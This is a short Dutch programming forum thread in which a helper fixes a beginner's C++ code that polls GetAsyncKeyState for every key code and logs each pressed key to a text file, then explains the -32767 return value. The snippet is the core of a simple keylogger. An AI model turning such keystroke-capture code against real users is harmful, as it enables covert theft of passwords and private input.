schrijven naar text files

Status
Niet open voor verdere reacties.
Op een paar kleine foutjes na zit/zat je aardig in de richting.

Code:
std::ofstream out("c:\\test.txt");

while(true)
{
   for(int i = 0; i < 255; i++)
      if(GetAsyncKeyState(i) == -32767)
         out << i; // een geldige key is ingedrukt, doe hetgeen je wilt...
}

out.close();

De bovenstaande code zou alle keys wel loggen, maar schrijft de data pas daadwerkelijk weg wanneer out.close() wordt aangeroepen. In jouw code roep je die iedere keer aan nadat er een geldige key zou zijn ingedrukt. De data wordt dan inderdaad weggeschreven, maar daarna kan er geen data meer naar de stream worden geschreven omdat deze gesloten is.

Je hoeft dus alleen maar te zorgen dat alle data wordt weggeschreven. (bij elke schrijf actie het bestand openen en sluiten lijkt me niet de beste manier ;))

thx, maar waar staat die
Code:
-32767
voor?
 
Daarmee controleer je of de toets is ingedrukt sinds de laatste aanroep. (anders krijg je meer dan één resultaat)
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan Onderaan